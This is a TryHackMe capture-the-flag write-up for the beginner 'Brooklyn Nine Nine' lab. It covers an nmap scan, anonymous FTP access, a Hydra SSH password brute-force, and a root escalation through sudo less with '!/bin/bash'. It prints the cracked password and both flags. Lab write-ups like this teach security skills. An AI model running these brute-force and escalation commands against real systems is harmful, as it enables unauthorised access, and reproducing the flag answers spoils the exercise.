TryHackMe Room Write-up

Title: Brooklyn Nine Nine

Description: This room is aimed for beginner level hackers but anyone can try to hack this box. There are two intended ways to root the box.

Author: Igor Buszta

Deploy and get hacking

Description: *This room is aimed for beginner level hackers but anyone can try to hack this box. There are two main intended ways to root the box. If you find more dm me in discord at Fsociety2006.*

Objective: user flag, root flag.

Data: Machine.

Tools: macOS, SSH, FTP, nmap, hydra

I recommend doing this room on VPN, in my case, the AttackBox was very faulty and some tools didn't work.

Okay, so we've got the ip address and our task is to hack user flag and root flag. Let's find some vulnerabilities. Nmap with -sC (looks for all the files) and -sV (looks for version of the server) should do it.

```
root@ip-10-80-129-232:~# nmap -sC -sV 10.80.182.111
```

Picture 1: nmap command.

From nmap we are able to read open ports (21 – ftp, 22 -ssh, 80 – http).

We can see that someone logged in as anonymous using FTP protocol and left a note. We should try the same and try to retrieve the message.

```
root@ip-10-80-129-232:~# ftp 10.80.182.111
Connected to 10.80.182.111.
220 (vsFTPd 3.0.3)
Name (10.80.182.111:root): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
-rw-r--r--    1 0        0             119 May 17  2020 note_to_jake.txt
226 Directory send OK.
```

Picture 2: Logging to the server via ftp and listing the files.

Let's download the text file and read it.

```
ftp> mget note_to_jake.txt
mget note_to_jake.txt?
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for note_to_jake.txt (119 bytes).
226 Transfer complete.
119 bytes received in 0.00 secs (109.8402 kB/s)
```

Picture 3: Downloading note_to_jake.txt

```
root@ip-10-80-129-232:~# cat note_to_jake.txt
From Amy,

Jake please change your password. It is too weak and holt will be mad if someone
 hacks into the nine nine
```

Picture 4: Printing the message in .txt file.

From this text file we can read, that Jake (username) has weak password. Let's use that to our advantage and try to bruteforce it. The tool to do that is called Hydra.

```
> hydra -l jake -P ~/rockyou/rockyou.txt -u ssh://10.80.182.111:22
Hydra v9.6 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in mi
litary or secret service organizations, or for illegal purposes (this is non-bin
ding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-02-06 16:09:
41
[WARNING] Many SSH configurations limit the number of parallel tasks, it is reco
mmended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344398 login tries (l:1/p:
14344398), ~896525 tries per task
[DATA] attacking ssh://10.80.182.111:22/
[22][ssh] host: 10.80.182.111   login: jake   password: 987654321
```

Picture 5: Using hydra to crack Jake's password.

Let's log in using his credentials!

```
> ssh jake@10.80.182.111
```

Picture 6: ssh comand used to log in.

```
Are you sure you want to continue connecting (yes/no/[fingerprint])? y
Please type 'yes', 'no' or the fingerprint: yes
Warning: Permanently added '10.80.182.111' (ED25519) to the list of known hosts.
jake@10.80.182.111's password:
Last login: Tue May 26 08:56:58 2020
jake@brookly_nine_nine:~$
```

Picture 7: Successful login into jake's account.

Let's see what we can work with. We shouldn't lose focus from our objective – we need to get user's flag and root's flag. Let's check if there are any other users with files.

```
jake@brookly_nine_nine:~$ cd /home
jake@brookly_nine_nine:/home$ ls
amy  holt  jake
```

Picture 8: Users in /home directory.

That's something!

Amy and jake directories are empty, but holt is hiding some files...

```
jake@brookly_nine_nine:~$ cd /home/holt
jake@brookly_nine_nine:/home/holt$ ls
nano.save  user.txt
```

Picture 9: Inside of holt directory.

It would appear like we have found our first flag.

```
jake@brookly_nine_nine:/home/holt$ cat user.txt
ee11cbb19052e40b07aac0ca060c23ee
```

Picture 10: First flag – user.txt

nano.save file requires root to see what's inside and our next objective is to find root's flag – it should be somewhere it /root diretctory. Let's see what privillages *do* we have. Let's use *sudo -l* command.

```
jake@brookly_nine_nine:/etc$ sudo -l
Matching Defaults entries for jake on brookly_nine_nine:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bi
n\:/snap/bin

User jake may run the following commands on brookly_nine_nine:
    (ALL) NOPASSWD: /usr/bin/less
```

Picture 11: jake's privillages.

At the bottom of Picture 11 we can see that we can use *less* command which is used for printing contents of a file one screen at the time. Useful for handling large files. But we need to somehow escalate our privillages and become root.

There's already a vulnerability described here: https://github.com/Jbyford89/sudo-less-exploit

The main points taken out from it is that we need a file and be need to *enter !/bin/bash* in the window to get root privillages. Let's try.

```
jake@brookly_nine_nine:/home/holt$ sudo less nano.save
```

Picture 12: Usage of sudo less.

```
ESCcESC]104^GESC[!pESC[?3;4lESC[4lESC>
bash: line 1:  8199 Hangup                  sh 1>&0 2>&0
bash: /bin: Is a directory
!/bin/bash
```

Picture 13: Exposing the vulnerability.

```
root@brookly_nine_nine:/home/holt#
```

Picture 14: Effects of sudo less – becoming a root (#).

Now we're unstoppable. Let's go to /root directory and take a look inside.

```
root@brookly_nine_nine:/root# ls -la
total 32
drwx------  4 root root 4096 May 18  2020 .
drwxr-xr-x 24 root root 4096 May 19  2020 ..
-rw-r--r--  1 root root 3106 Apr  9  2018 .bashrc
drwxr-xr-x  3 root root 4096 May 17  2020 .local
-rw-r--r--  1 root root  148 Aug 17  2015 .profile
drwx------  2 root root 4096 May 18  2020 .ssh
-rw-r--r--  1 root root  165 May 17  2020 .wget-hsts
-rw-r--r--  1 root root  135 May 18  2020 root.txt
```

Picture 15: Contents of /root directory.

There's a root.txt file probably containing our final flag. Let's see.

```
root@brookly_nine_nine:/root# cat root.txt
-- Creator : Fsociety2006 --
Congratulations in rooting Brooklyn Nine Nine
Here is the flag: 63a9f0ea7bb98050796b649e85481845

Enjoy!!
```

Picture 16: Contents of root.txt file.

And we're done!